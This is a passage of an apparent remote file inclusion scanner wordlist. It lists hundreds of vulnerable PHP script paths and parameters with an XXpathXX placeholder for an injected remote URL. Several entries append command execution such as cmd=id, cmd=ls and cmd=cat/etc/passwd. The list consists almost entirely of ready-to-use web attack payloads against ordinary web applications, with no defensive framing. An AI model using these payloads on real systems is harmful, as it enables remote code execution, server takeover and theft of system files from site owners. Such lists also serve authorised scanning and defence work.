-/forum/track.php?path=XXpathXX
-/frame.php?framefile=XXpathXX
-/ftp.php?path_local=XXpathXX
-/function.inc.php?path=XXpathXX
-/function.php?adminfolder=XXpathXX
-/function.php?gbpfad=XXpathXX
-/functions.php?include_path=XXpathXX
-/functions.php?pmp_rel_path=XXpathXX
-/functions.php?s[phppath]=XXpathXX
-/functions.php?set_path=XXpathXX?
-/functions/form.func.php?GLOBALS[PTH][classes]=XXpathXX?
-/functions/general.func.php?GLOBALS[PTH][classes]=XXpathXX?
-/functions/groups.func.php?GLOBALS[PTH][classes]=XXpathXX?
-/functions/js.func.php?GLOBALS[PTH][classes]=XXpathXX?
-/functions/prepend_adm.php?SETS[path][physical]=XXpathXX
-/functions/prepend_adm.php?SETS[path][physical]=XXpathXX?
-/functions/sections.func.php?GLOBALS[PTH][classes]=XXpathXX?
-/functions/users.func.php?GLOBALS[PTH][classes]=XXpathXX?
-/functions_mod_user.php?phpbb_root_path=XXpathXX?&cmd=ls
-/fusebox5.php?FUSEBOX_APPLICATION_PATH=XXpathXX
-/galerie.php?config[root_ordner]=XXpathXX?cmd=id
-/gallery/captionator.php?GALLERY_BASEDIR=XXpathXX
-/gallery/lib/content.php?include=XXpathXX?cmd=ls
-/gallery/theme/include_mode/template.php?galleryfilesdir=XXpathXX
-/gallerypath/index.php?includepath=XXpathXX
-/games.php?id=XXpathXX
-/games.php?scoreid=XXpathXX
-/gbook/includes/header.php?abspath=XXpathXX?
-/gemini/page/forums/bottom.php?lang=XXpathXX?
-/gen_m3u.php?phpbb_root_path=XXpathXX
-/genepi.php?topdir=XXpathXX
-/generate.php?ht_pfad=XXpathXX?
-/gepi/gestion/savebackup.php?filename=XXpathXX&cmd=cat/etc/passwd
-/gestArt/aide.php3?aide=XXpathXX?
-/get_session_vars.php?path_to_smf=XXpathXX
-/getpage.php?page=online&doc_path=XXpathXX
-/global.php?abs_path=XXpathXX?
-/gorum/dbproperty.php?appDirName=XXpathXX
-/gpb/include/db.mysql.inc.php?root_path=XXpathXX?
-/gpb/include/gpb.inc.php?root_path=XXpathXX?
-/graph.php?DOCUMENT_ROOT=XXpathXX?
-/gruppen.php?config[root_ordner]=XXpathXX?&cmd=id
-/handlers/email/mod.listmail.php?_PM_[path][handle]=XXpathXX
-/handlers/page/show.php?sous_rep=XXpathXX
-/head.php?CONFIG[MWCHAT_Libs]=XXpathXX?
-/header.inc.php?CssFile=XXpathXX
-/header.php?path=XXpathXX
-/header.php?wwwRoot=XXpathXX
-/help.php?CONFIG[MWCHAT_Libs]=XXpathXX?
-/help/index.php?show=XXpathXX
-/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY=XXpathXX
-/helperfunction.php?includedir=XXpathXX
-/hioxBannerRotate.php?hm=XXpathXX
-/hioxRandomAd.php?hm=XXpathXX
-/hioxstats.php?hm=XXpathXX
-/hioxupdate.php?hm=XXpathXX
-/home.php?a=XXpathXX
-/home.php?page=XXpathXX
-/home.php?pagina=XXpathXX
-/home/www/images/doc/index2.php?type=XXpathXX
-/home1.php?ln=XXpathXX
-/home2.php?ln=XXpathXX
-/hsList.php?subdir=XXpathXX?&cmd=ls
-/htdocs/gmapfactory/params.php?gszAppPath=XXpathXX
-/html/admin/modules/plugin_admin.php?_settings[pluginpath]=XXpathXX
-/hu/modules/reg-new/modstart.php?mod_dir=XXpathXX?
-/i_head.php?home=XXpathXX
-/i_nav.php?home=XXpathXX
-/iframe.php?file=XXpathXX
-/image.php?url=XXpathXX???
-/impex/ImpExData.php?systempath=XXpathXX
-/import.php?bibtexrootrel=XXpathXX?
-/importinfo.php?bibtexrootrel=XXpathXX?
-/in.php?returnpath=XXpathXX
-/inc/articles.inc.php?GLOBALS[CHEMINMODULES]=XXpathXX
-/inc/config.inc.php?x[1]=XXpathXX
-/inc/design.inc.php?dir[data]=XXpathXX
-/inc/download_center_lite.inc.php?script_root=XXpathXX
-/inc/formmail.inc.php?script_root=XXpathXX
-/inc/gabarits.php?cfg_racine=XXpathXX
-/inc/header.inc.php?ficStyle=XXpathXX
-/inc/ifunctions.php?GLOBALS[phpQRootDir]=XXpathXX
-/inc/inc.php?cfg_racine=XXpathXX?
-/inc/indexhead.php?fileloc=XXpathXX?
-/inc/irayofuncs.php?irayodirhack=XXpathXX?
-/inc/libs/Smarty_Compiler.class.php?plugin_file=XXpathXX?
-/inc/libs/core/core.display_debug_console.php?plugin_file=XXpathXX?
-/inc/libs/core/core.load_plugins.php?plugin_file=XXpathXX?
-/inc/libs/core/core.load_resource_plugin.php?plugin_file=XXpathXX?
-/inc/libs/core/core.process_cached_inserts.php?plugin_file=XXpathXX?
-/inc/libs/core/core.process_compiled_include.php?plugin_file=XXpathXX?
-/inc/libs/core/core.read_cache_file.php?plugin_file=XXpathXX?
-/inc/linkbar.php?cfile=XXpathXX?
-/inc/login.php?pathCGX=XXpathXX
-/inc/logingecon.php?pathCGX=XXpathXX
-/inc/ltdialogo.php?pathCGX=XXpathXX
-/inc/mtdialogo.php?pathCGX=XXpathXX
-/inc/nuke_include.php?newsSync_enable_phpnuke_mod=1&newsSync_NUKE_PATH=XXpathXX?
-/inc/prepend.inc.php?path=XXpathXX?
-/inc/service.alert.inc.php?SPL_CFG[dirroot]=XXpathXX?
-/inc/settings.php?inc_dir=XXpathXX
-/inc/settings.ses.php?SPL_CFG[dirroot]=XXpathXX?
-/inc/shows.inc.php?cutepath=XXpathXX?
-/inc/sige_init.php?SYS_PATH=XXpathXX?
-/inc_group.php?include_path=XXpathXX?
-/inc_manager.php?include_path=XXpathXX?
-/inc_newgroup.php.php?include_path=XXpathXX?
-/inc_smb_conf.php?include_path=XXpathXX?
-/inc_user.php?include_path=XXpathXX?
-/include.php?_APP_RELATIVE_PATH=XXpathXX
-/include.php?gorumDir=XXpathXX
-/include.php?myng_root=XXpathXX
-/include.php?path=psp/user.php&site=XXpathXX
-/include.php?path[docroot]=XXpathXX
-/include.php?sunPath=XXpathXX
-/include/Beautifier/Core.php?BEAUT_PATH=XXpathXX
-/include/HTML_oben.php?include_path=XXpathXX
-/include/HTML_oben.php?include_path=XXpathXX?
-/include/SQuery/gameSpy2.php?libpath=XXpathXX
-/include/bbs.lib.inc.php?site_path=XXpathXX
-/include/class_yapbbcooker.php?cfgIncludeDirectory=XXpathXX
-/include/classes.php?INCLUDE_DIR=XXpathXX?
-/include/client.php?INCLUDE_DIR=XXpathXX?
-/include/cls_headline_prod.php?INCLUDE_PATH=XXpathXX
-/include/cls_listorders.php?INCLUDE_PATH=XXpathXX
-/include/cls_viewpastorders.php?INCLUDE_PATH=XXpathXX
-/include/common.php?XOOPS_ROOT_PATH=XXpathXX
-/include/common_functions.php?baros_path=XXpathXX?
-/include/config.inc.php?racine=XXpathXX
-/include/copyright.php?tsep_config[absPath]=XXpathXX?cmd=ls
-/include/customize.php?l=XXpathXX&text=Hello%20World
-/include/default_header.php?script_path=XXpathXX
-/include/define.php?INC_DIR=XXpathXX?
-/include/disp_form.php3?cfg_include_dir=XXpathXX?
-/include/disp_smileys.php3?cfg_include_dir=XXpathXX?
-/include/dom.php?path=XXpathXX
-/include/dtd.php?path=XXpathXX
-/include/editfunc.inc.php?NWCONF_SYSTEM[server_path]=XXpathXX?
-/include/engine/content/elements/menu.php?CONFIG[AdminPath]=XXpathXX
-/include/forms.php?INCLUDE_DIR=XXpathXX?
-/include/global.php?pfad=XXpathXX
-/include/header.php?cs_base_path=XXpathXX?
-/include/html/nettools.popup.php?DIR=XXpathXX
-/include/inc.foot.php?root=XXpathXX
-/include/inc_ext/spaw/dialogs/table.php?spaw_root=XXpathXX
-/include/inc_freigabe.php?include_path=XXpathXX?
-/include/inc_freigabe1.php?include_path=XXpathXX?
-/include/inc_freigabe3.php?include_path=XXpathXX?
-/include/include_stream.inc.php?include_path=XXpathXX
-/include/include_top.php?g_include=XXpathXX
-/include/includes.php?include_path=XXpathXX
-/include/index.php3?cfg_include_dir=XXpathXX?
-/include/init.inc.php?G_PATH=XXpathXX
-/include/issue_edit.php?INCLUDE_DIR=XXpathXX?
-/include/lib/lib_slots.php?main_path=XXpathXX
-/include/lib/lib_stats.php?main_path=XXpathXX?
-/include/lib/lib_users.php?main_path=XXpathXX?
-/include/little_news.php3?cfg_include_dir=XXpathXX?
-/include/livre_include.php?no_connect=lol&chem_absolu=XXpathXX?
-/include/loading.php?path_include=XXpathXX
-/include/mail.inc.php?root=XXpathXX
-/include/menu_builder.php?config[page_dir]=XXpathXX?
-/include/misc/mod_2checkout/2checkout_return.inc.php?DIR=XXpathXX
-/include/monitoring/engine/MakeXML.php?fileOreonConf=XXpathXX?
-/include/parser.php?path=XXpathXX
-/include/pear/IT.php?basepath=XXpathXX?
-/include/pear/ITX.php?basepath=XXpathXX?
-/include/pear/IT_Error.php?basepath=XXpathXX?
-/include/phpxd/phpXD.php?appconf[rootpath]=XXpathXX?&cmd=id
-/include/prodler.class.php?sPath=XXpathXX???
-/include/scripts/export_batch.inc.php?DIR=XXpathXX
-/include/scripts/run_auto_suspend.cron.php?DIR=XXpathXX
-/include/scripts/send_email_cache.php?DIR=XXpathXX
-/include/startup.inc.php?root_path=XXpathXX?
-/include/themes/themefunc.php?myNewsConf[path][sys][index]=XXpathXX?
-/include/timesheet.php?config[include_dir]=XXpathXX
-/include/urights.php?CRM_inc=XXpathXX
-/includes/admin_board2.php?phpbb_root_path=XXpathXX?ls
-/includes/admin_logger.php?phpbb_root_path=XXpathXX?ls
-/includes/adodb/back/adodb-postgres7.inc.php?ADODB_DIR=XXpathXX?
-/includes/ajax_listado.php?urlModulo=XXpathXX
-/includes/archive/archive_topic.php?phpbb_root_path=XXpathXX?
-/includes/bbcb_mg.php?phpbb_root_path=XXpathXX?
-/includes/begin.inc.php?PagePrefix=XXpathXX
-/includes/blogger.php?path_prefix=XXpathXX
-/includes/class/class_tpl.php?cache_file=XXpathXX?
-/includes/class_template.php?quezza_root_path=XXpathXX
-/includes/classes/pctemplate.php?pcConfig[smartyPath]=XXpathXX?cmd
-/includes/common.inc.php?CONFIG[BASE_PATH]=XXpathXX
-/includes/common.php?module_root_path=XXpathXX?
-/includes/common.php?root=XXpathXX?
-/includes/common.php?root_path=XXpathXX?
-/includes/config.inc.php?racineTBS=XXpathXX
-/includes/config/master.inc.php?fm_data[root]=XXpathXX?
-/includes/connection.inc.php?PagePrefix=XXpathXX
-/includes/dbal.php?eqdkp_root_path=XXpathXX
-/includes/events.inc.php?PagePrefix=XXpathXX
-/includes/footer.html.inc.php?tc_config[app_root]=XXpathXX?
-/includes/footer.inc.php?PagePrefix=XXpathXX
-/includes/footer.php?PHPGREETZ_INCLUDE_DIR=XXpathXX
-/includes/functions.inc.php?sitepath=XXpathXX?
-/includes/functions.php?location=XXpathXX
-/includes/functions.php?phpbb_root_path=XXpathXX
-/includes/functions.php?phpbb_root_path=XXpathXX?
-/includes/functions/auto_email_notify.php?path_prefix=XXpathXX
-/includes/functions/html_generate.php?path_prefix=XXpathXX
-/includes/functions/master.inc.php?fm_data[root]=XXpathXX?
-/includes/functions/validations.php?path_prefix=XXpathXX
-/includes/functions_admin.php?phpbb_root_path=XXpathXX?
-/includes/functions_install.php?vwar_root=XXpathXX
-/includes/functions_kb.php?phpbb_root_path=XXpathXX?
-/includes/functions_mod_user.php?phpbb_root_path=XXpathXX?
-/includes/functions_portal.php?phpbb_root_path=XXpathXX?
-/includes/functions_user_viewed_posts.php?phpbb_root_path=XXpathXX?
-/includes/global.php?nbs=XXpathXX?
-/includes/header.inc.php?PagePrefix=XXpathXX
-/includes/header.inc.php?dateiPfad=XXpathXX
-/includes/include_once.php?include_file=XXpathXX
-/includes/init.php?includepath=XXpathXX?
-/includes/iplogger.php?phpbb_root_path=XXpathXX?ls
-/includes/kb_constants.php?module_root_path=XXpathXX
-/includes/lang/language.php?path_to_root=XXpathXX
-/includes/lib-account.inc.php?CONF_CONFIG_PATH=XXpathXX?
-/includes/lib-group.inc.php?CONF_CONFIG_PATH=XXpathXX?
-/includes/lib-log.inc.php?CONF_CONFIG_PATH=XXpathXX?
-/includes/lib-mydb.inc.php?CONF_CONFIG_PATH=XXpathXX?
-/includes/lib-template-mod.inc.php?CONF_CONFIG_PATH=XXpathXX?
-/includes/lib-themes.inc.php?CONF_CONFIG_PATH=XXpathXX?
-/includes/logger_engine.php?phpbb_root_path=XXpathXX
-/includes/menuleft.inc.php?PagePrefix=XXpathXX
-/includes/mkb.php?phpbb_root_path=XXpathXX?ls
-/includes/morcegoCMS/adodb/adodb.inc.php?path=XXpathXX
-/includes/morcegoCMS/morcegoCMS.php?fichero=XXpathXX
-/includes/mx_common.php?module_root_path=XXpathXX?
-/includes/openid/Auth/OpenID/BBStore.php?openid_root_path=XXpathXX
-/includes/orderSuccess.inc.php?&glob=1&cart_order_id=1&glob[rootDir]=XXpathXX
-/includes/pafiledb_constants.php?module_root_path=XXpathXX
-/includes/pages.inc.php?PagePrefix=XXpathXX
-/includes/phpdig/includes/config.php?relative_script_path=XXpathXX
-/includes/profilcp_constants.php?module_root_path=XXpathXX?
-/includes/settings.inc.php?approot=XXpathXX
-/includes/template.php?myevent_path=XXpathXX
-/includes/themen_portal_mitte.php?phpbb_root_path=XXpathXX
-/includes/tumbnail.php?config[root_ordner]=XXpathXX?
-/includes/usercp_register.php?phpbb_root_path=XXpathXX?
-/includes/usercp_viewprofile.php?phpbb_root_path=XXpathXX?
-/includes/xhtml.php?d_root=XXpathXX?
-/index.php3?Application_Root=XXpathXX
-/index.php?1=lol&PAGES[lol]=XXpathXX
-/index.php?AML_opensite=XXpathXX
-/index.php?AMV_openconfig=1&AMV_serverpath=XXpathXX
-/index.php?CONFIG[MWCHAT_Libs]=XXpathXX?
-/index.php?ConfigDir=XXpathXX
-/index.php?DIR_PLUGINS=XXpathXX
-/index.php?G_JGALL[inc_path]=XXpathXX%00
-/index.php?HomeDir=XXpathXX
-/index.php?Lang=AR&Page=XXpathXX
-/index.php?Madoa=XXpathXX?
-/index.php?RP_PATH=XXpathXX
-/index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid=1&GLOBALS=&mosConfig_absolute_path=XXpathXX
-/index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=XXpathXX
-/index.php?abg_path=XXpathXX?
-/index.php?abs_path=XXpathXX?
-/index.php?adduser=true&lang=XXpathXX
-/index.php?adodb=XXpathXX
-/index.php?ads_file=XXpathXX
-/index.php?arquivo=XXpathXX
-/index.php?back=XXpathXX
-/index.php?base==XXpathXX
-/index.php?basePath=XXpathXX
-/index.php?bibtexrootrel=XXpathXX?
-/index.php?blog_dc_path=XXpathXX
-/index.php?blog_theme=XXpathXX
-/index.php?body=XXpathXX
-/index.php?class_path=XXpathXX?
-/index.php?classified_path=XXpathXX?
-/index.php?cms=XXpathXX?
-/index.php?config["sipssys"]=XXpathXX
-/index.php?config[root_ordner]=XXpathXX?&cmd=id
-/index.php?config[root_ordner]=XXpathXX?cmd=id
-/index.php?config_atkroot=XXpathXX
-/index.php?configuration=XXpathXX
-/index.php?custom_admin_path=XXpathXX?
-/index.php?dateiPfad=XXpathXX?&cmd=ls
-/index.php?de=XXpathXX
-/index.php?dept=XXpathXX
-/index.php?do=XXpathXX
-/index.php?exec=XXpathXX?
-/index.php?ext=XXpathXX
-/index.php?faq_path=XXpathXX?&cmd=id
-/index.php?file_name[]=XXpathXX?
-/index.php?file_path=XXpathXX?
-/index.php?fileloc=XXpathXX
-/index.php?from=XXpathXX
-/index.php?func=XXpathXX?
-/index.php?function=XXpathXX
-/index.php?function=custom&custom=XXpathXX
-/index.php?gOo=XXpathXX
-/index.php?gen=XXpathXX
-/index.php?get=XXpathXX
-/index.php?home_name=XXpathXX
-/index.php?ilang=XXpathXX?
-/index.php?inc_dir=XXpathXX
-/index.php?inc_dir=XXpathXX?
-/index.php?includeDir=XXpathXX
-/index.php?includeFooter=XXpathXX
-/index.php?includesdir=XXpathXX
-/index.php?insPath=XXpathXX
-/index.php?lang=XXpathXX
-/index.php?language=XXpathXX?
-/index.php?language=en&main_page=XXpathXX
-/index.php?lizge=XXpathXX?&cmd=ls
-/index.php?lng=XXpathXX
-/index.php?load=XXpathXX
-/index.php?loadpage=XXpathXX
-/index.php?main_tabid=1&main_content=XXpathXX
-/index.php?may=XXpathXX
-/index.php?middle=XXpathXX
-/index.php?mode=XXpathXX
-/index.php?modpath=XXpathXX
-/index.php?module=PostWrap&page=XXpathXX
-/index.php?mosConfig_absolute_path=XXpathXX
-/index.php?news7["functions"]=XXpathXX
-/index.php?news_include_path=XXpathXX
-/index.php?open=XXpathXX
-/index.php?option=com_custompages&cpage=XXpathXX?
-/index.php?page=XXpathXX
-/index.php?page=XXpathXX%00
-/index.php?page=XXpathXX?
-/index.php?pageXXpathXX
-/index.php?page[path]=XXpathXX?&cmd=ls
-/index.php?pagename=XXpathXX
-/index.php?pager=XXpathXX
-/index.php?pagina=XXpathXX?
-/index.php?path_to_folder=XXpathXX?cmd=id
-/index.php?pg=XXpathXX?
-/index.php?phpbb_root_path=XXpathXX
-/index.php?plugin=XXpathXX
-/index.php?principal=XXpathXX
-/index.php?proMod=XXpathXX
-/index.php?proMod=XXpathXX?cmd
-/index.php?project=XXpathXX
-/index.php?repinc=XXpathXX?
-/index.php?root_prefix=XXpathXX
-/index.php?root_prefix=XXpathXX?
-/index.php?section=XXpathXX
-/index.php?site=XXpathXX
-/index.php?site_path=XXpathXX
-/index.php?styl[top]=XXpathXX??
-/index.php?template=XXpathXX?
-/index.php?templates_dir=XXpathXX?
-/index.php?theme=XXpathXX
-/index.php?themepath=XXpathXX?
-/index.php?themesdir=XXpathXX
-/index.php?this_path=XXpathXX?
-/index.php?txt=XXpathXX
-/index.php?up=XXpathXX
-/index.php?url=XXpathXX
-/index.php?w=XXpathXX
-/index.php?way=XXpathXX??????????????
-/index1.php?=XXpathXX
-/index1.php?inc=XXpathXX
-/index1.php?inhalt=XXpathXX
-/index2.php?=XXpathXX
-/index2.php?content=XXpathXX
-/index2.php?s=XXpathXX
-/index2.php?x=XXpathXX
-/indexinfo.php?bibtexrootrel=XXpathXX?
-/indexk.php?lib_path=XXpathXX?
-/info.php?file=XXpathXX
-/inhalt.php?dateien[news]=XXpathXX?
-/init.php?API_HOME_DIR=XXpathXX
-/init.php?scriptpath=XXpathXX?
-/initialize.php?hmail_config[includepath]=XXpathXX&cmd=dir
-/initiate.php?abs_path=XXpathXX
-/install.php?_NE[AbsPath]=XXpathXX
-/install.php?install_dir=XXpathXX
-/install/config.php?path=XXpathXX
-/install/di.php?pathtoserverdata=XXpathXX
-/install/index.php?content_php=XXpathXX
-/install/install3.php?database=none&cabsolute_path=XXpathXX
-/integration/shortstat/configuration.php?SPL_CFG[dirroot]=XXpathXX?
-/interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=XXpathXX?
-/interact/modules/scorm/lib.inc.php?CONFIG[BASE_PATH]=XXpathXX?
-/interface/billing/billing_process.php?srcdir=XXpathXX?
-/interface/editors/-custom.php?bField[bf_data]=XXpathXX
-/interface/editors/custom.php?bField[bf_data]=XXpathXX
-/interface/new/new_patient_save.php?srcdir=XXpathXX?
-/intern/admin/?rootdir=XXpathXX
-/intern/admin/other/backup.php?admin=1&rootdir=XXpathXX
-/intern/clan/member_add.php?rootdir=XXpathXX
-/intern/config/forum.php?rootdir=XXpathXX
-/intern/config/key_2.php?rootdir=XXpathXX
-/ip.inc.php?type=1&cgipath=XXpathXX
-/ipeer_site/?page=XXpathXX?
-/joinus.php?vwar_root=XXpathXX
-/joinus.php?vwar_root=XXpathXX?&cmd=ls
-/joomla_path/administrator/components/com_x-shop/admin.x-shop?mosConfig_absolute_path=XXpathXX?
-/joomla_path/components/com_articles.php?absolute_path=XXpathXX?
-/js/bbcodepress/bbcode-form.php?BBCODE_path=XXpathXX
-/js/wptable-tinymce.php?ABSPATH=XXpathXX
-/jscript.php?my_ms[root]=XXpathXX?
-/kernel/class/ixpts.class.php?IXP_ROOT_PATH=XXpathXX
-/kernel/loadkernel.php?installPath=XXpathXX
-/kmitaadmin/kmitam/htmlcode.php?file=XXpathXX?
-/ktmlpro/includes/ktedit/toolbar.php?dirDepth=XXpathXX
-/lang/leslangues.php?fichier=XXpathXX
-/lang_english/lang_main_album.php?phpbb_root_path=XXpathXX?a=
-/language/lang_english/lang_activity.php?phpbb_root_path=XXpathXX
-/language/lang_english/lang_admin_album.php?phpbb_root_path=XXpathXX?a=
-/language/lang_german/lang_admin_album.php?phpbb_root_path=XXpathXX?a=
-/language/lang_german/lang_main_album.php?phpbb_root_path=XXpathXX?a=
-/latestposts.php?forumspath=XXpathXX
-/latex.php?bibtexrootrel=XXpathXX?
-/layout/default/params.php?gConf[dir][layouts]=XXpathXX?
-/ldap/authldap.php?includePath=XXpathXX
-/learnPath/include/scormExport.inc.php?includePath=XXpathXX
-/lib.editor.inc.php?sys_path=XXpathXX?
-/lib/Loggix/Module/Calendar.php?pathToIndex=XXpathXX
-/lib/Loggix/Module/Comment.php?pathToIndex=XXpathXX
-/lib/Loggix/Module/Rss.php?pathToIndex=XXpathXX
-/lib/Loggix/Module/Trackback.php?pathToIndex=XXpathXX
-/lib/action/rss.php?lib=XXpathXX?
-/lib/activeutil.php?set[include_path]=XXpathXX?
-/lib/addressbook.php?GLOBALS[basedir]=XXpathXX
-/lib/armygame.php?libpath=XXpathXX
-/lib/authuser.php?root=XXpathXX
-/lib/base.php?BaseCfg[BaseDir]=XXpathXX
-/lib/connect.php?root=XXpathXX
-/lib/connected_users.lib.php3?ChatPath=XXpathXX
-/lib/connected_users.lib.php3?ChatPath=XXpathXX?
-/lib/db/mysql.class.php?root=XXpathXX
-/lib/db/postgres.class.php?root=XXpathXX
-/lib/functions.php?DOC_ROOT=XXpathXX
-/lib/googlesearch/GoogleSearch.php?APP[path][lib]=XXpathXX?
-/lib/header.php?DOC_ROOT=XXpathXX
-/lib/language.php?_LIB_DIR=XXpathXX
-/lib/live_status.lib.php?ROOT=XXpathXX
-/lib/misc.php?root=XXpathXX
-/lib/nl/nl.php?g_strRootDir=XXpathXX
-/lib/obj/collection.class.php?GLOBALS[application][app_root]=XXpathXX
-/lib/obj/content_image.class.php?GLOBALS[application][app_root]=XXpathXX
-/lib/pcltar.lib.php?g_pcltar_lib_dir=XXpathXX
-/lib/pcltrace.lib.php?g_pcltar_lib_dir=XXpathXX
-/lib/rs.php?rootpath=XXpathXX
-/lib/selectlang.php?BBC_LANGUAGE_PATH=XXpathXX
-/lib/smarty/SmartyFU.class.php?system[smarty][dir]=XXpathXX?
-/lib/static/header.php?set_menu=XXpathXX
-/lib/tpl.inc.php?conf[classpath]=XXpathXX
-/libraries/comment/postComment.php?path[cb]=XXpathXX?a=
-/libraries/database.php?path=XXpathXX???
-/libraries/lib-remotehost.inc.php?phpAds_geoPlugin=XXpathXX
-/libraries/pcl/pcltar.php?g_pcltar_lib_dir=XXpathXX
-/library/authorize.php?login_form=XXpathXX?
-/library/translation.inc.php?GLOBALS[srcdir]=XXpathXX?
-/libs/db.php?path_local=XXpathXX
-/libs/ftp.php?path_local=XXpathXX
-/libs/lom.php?ETCDIR=XXpathXX
-/libsecure.php?abs_path=XXpathXX?
-/license.php?CONFIG[MWCHAT_Libs]=XXpathXX?
-/link_main.php?phpbb_root_path=XXpathXX
-/linkadmin.php?page=XXpathXX?
-/linksnet_newsfeed/linksnet_linkslog_rss.php?dirpath_linksnet_newsfeed=XXpathXX?
-/list.php?phpbb_root_path=XXpathXX
-/lms_path/modules/userpanel.php?CONFIG[directories][userpanel_dir]=XXpathXX
-/lms_path/modules/welcome.php?_LIB_DIR=XXpathXX
-/load_lang.php?_SERWEB[configdir]=XXpathXX
-/load_lang.php?_SERWEB[serwebdir]=XXpathXX
-/load_phplib.php?_PHPLIB[libdir]=XXpathXX
-/loader.php?GLOBALS=XXpathXX
-/local/lib/lcUser.php?LIBDIR=XXpathXX?
-/log.php?bibtexrootrel=XXpathXX?
-/login.php3?cl_headers=XXpathXX
-/login.php?base_dir=XXpathXX
-/login.php?blog_theme=XXpathXX
-/login.php?langfile=XXpathXX
-/login.php?pachtofile=XXpathXX
-/login.php?srcdir=XXpathXX?
-/login.php?value=XXpathXX??
-/lovecms/install/index.php?step=XXpathXX?
-/m2f/m2f_cron.php?m2f_root_path=XXpathXX
-/m2f/m2f_forum.php?m2f_root_path=XXpathXX
-/m2f/m2f_mailinglist.php?m2f_root_path=XXpathXX
-/m2f/m2f_phpbb204.php?m2f_root_path=XXpathXX
-/maguz.php?site=XXpathXX
-/mail/childwindow.inc.php?form=XXpathXX?
-/mail/content/fnc-readmail3.php?__SOCKETMAIL_ROOT=XXpathXX?
-/mail_this_entry/mail_autocheck.php?pm_path=XXpathXX?&cmd=ls
-/main.inc.php?pathtoscript=XXpathXX
-/main.php?config[search_disp]=true&include_dir=XXpathXX
-/main.php?id=XXpathXX
-/main.php?include_path=XXpathXX?
-/main.php?pageURL=XXpathXX
-/main.php?pagina=XXpathXX
-/main/forum/komentar.php?site_path=XXpathXX
-/main/main.php?pi=XXpathXX
-/main/ppcbannerclick.php?INC=XXpathXX?
-/main/ppcclick.php?INC=XXpathXX?
-/main_prepend.php?_SERWEB[functionsdir]=XXpathXX
-/mainpage.php?docroot=XXpathXX?cmd
-/mamboleto.php?mosConfig_absolute_path=XXpathXX
-/mambots/editors/path/jscripts/tiny_mce/plugins/preview/preview.php?mosConfig_absolute_path=XXpathXX
-/manage_songs.php?foing_root_path=XXpathXX
-/manager/admin/index.php?MGR=XXpathXX
-/manager/admin/p_ins.php?MGR=XXpathXX
-/manager/admin/u_ins.php?MGR=XXpathXX
-/manager/articles.php?_PX_config[manager_path]=XXpathXX
-/manager/static/view.php?propID=0&INC=XXpathXX
-/master.php?root_path=XXpathXX
-/mcNews/admin/header.php?skinfile=XXpathXX
-/mcf.php?content=XXpathXX
-/mcnews/admin/install.php?l=XXpathXX
-/mediagallery/public_html/maint/ftpmedia.php?_MG_CONF[path_html]=XXpathXX
-/member.php?vwar_root=XXpathXX
-/member/usercp_menu.php?script_folder=XXpathXX
-/members/index.php?INC=XXpathXX?
-/members/registration.php?INC=XXpathXX?
-/members_help.php?hlp=XXpathXX?
-/membres/membreManager.php?include_path=XXpathXX?
-/menu.php3?cl_headers=XXpathXX
-/menu.php?functions_file=XXpathXX
-/mep/frame.php?chem=XXpathXX?
-/microcms/includes/file_manager/special.php?fm_includes_special=XXpathXX
-/middle.php?file=XXpathXX
-/migrateNE2toNE3.php?_NE[AbsPath]=XXpathXX
-/mindmeld/acweb/admin_index.php?MM_GLOBALS[home]=XXpathXX?
-/mindmeld/include/ask.inc.php?MM_GLOBALS[home]=XXpathXX?
-/mindmeld/include/learn.inc.php?MM_GLOBALS[home]=XXpathXX?
-/mindmeld/include/manage.inc.php?MM_GLOBALS[home]=XXpathXX?
-/mindmeld/include/mind.inc.php?MM_GLOBALS[home]=XXpathXX?
-/mindmeld/include/sensory.inc.php?MM_GLOBALS[home]=XXpathXX?
-/mini-pub.php/front-end/img.php?sFileName=XXpathXX?
-/minimal/wiki.php?page=XXpathXX?
-/misc/function.php3?path=XXpathXX?
-/mitglieder.php?config[root_ordner]=XXpathXX?&cmd=id
-/mkportal/include/user.php?MK_PATH=XXpathXX
-/mkportal/include/user.php?MK_PATH=XXpathXX?
-/mod/authent.php4?rootpath=XXpathXX
-/mod/image/index.php?config[pathMod]=XXpathXX
-/mod/liens/index.php?config[pathMod]=XXpathXX
-/mod/liste/index.php?config[pathMod]=XXpathXX
-/mod/special/index.php?config[pathMod]=XXpathXX
-/mod/texte/index.php?config[pathMod]=XXpathXX
-/mod_membre/inscription.php?chemin=XXpathXX?
-/mod_phpalbum/sommaire_admin.php?chemin=XXpathXX?
-/modernbill/include/html/config.php?DIR=XXpathXX
-/modifyform.html?code=XXpathXX
-/mods/business_functions.php?GALLERY_BASEDIR=XXpathXX
-/mods/config/load.inc.php?moddir=XXpathXX?
-/mods/http/load.inc.php?moddir=XXpathXX?
-/mods/ui_functions.php?GALLERY_BASEDIR=XXpathXX
-/module/forum/forum.php?fd=XXpathXX=';
-/module/forum/main.php?id=1&main_dir=XXpathXX?&
-/modules.php?name=XXpathXX&file=article&sid=2
-/modules/4nAlbum/public/displayCategory.php?basepath=XXpathXX
-/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=XXpathXX
-/modules/Calendar/admin/update.php?calpath=XXpathXX?
-/modules/Calendar/calendar.php?calpath=XXpathXX?
-/modules/Calendar/scheme.php?calpath=XXpathXX?
-/modules/Discipline/CategoryBreakdownTime.php?FocusPath=XXpathXX
-/modules/Discipline/CategoryBreakdownTime.php?staticpath=XXpathXX
-/modules/Discipline/StudentFieldBreakdown.php?staticpath=XXpathXX
-/modules/Forums/admin/admin_styles.php?phpbb_root_path=XXpathXX
-/modules/MusooTemplateLite.php?GLOBALS[ini_array][EXTLIB_PATH]=XXpathXX
-/modules/My_eGallery/index.php?basepath=XXpathXX
-/modules/My_eGallery/public/displayCategory.php?basepath=XXpathXX
-/modules/Mysqlfinder/MysqlfinderAdmin.php?_SESSION[PATH_COMPOSANT]=XXpathXX?
-/modules/NukeAI/util.php?AIbasedir=XXpathXX
-/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=XXpathXX
-/modules/SoundImporter.php?GLOBALS[ini_array][EXTLIB_PATH]=XXpathXX
-/modules/abook/foldertree.php?baseDir==XXpathXX?
-/modules/addons/plugin.php?doc_root=XXpathXX
-/modules/admin/include/config.php?doc_root=XXpathXX
-/modules/admin/include/localize.php?doc_root=XXpathXX
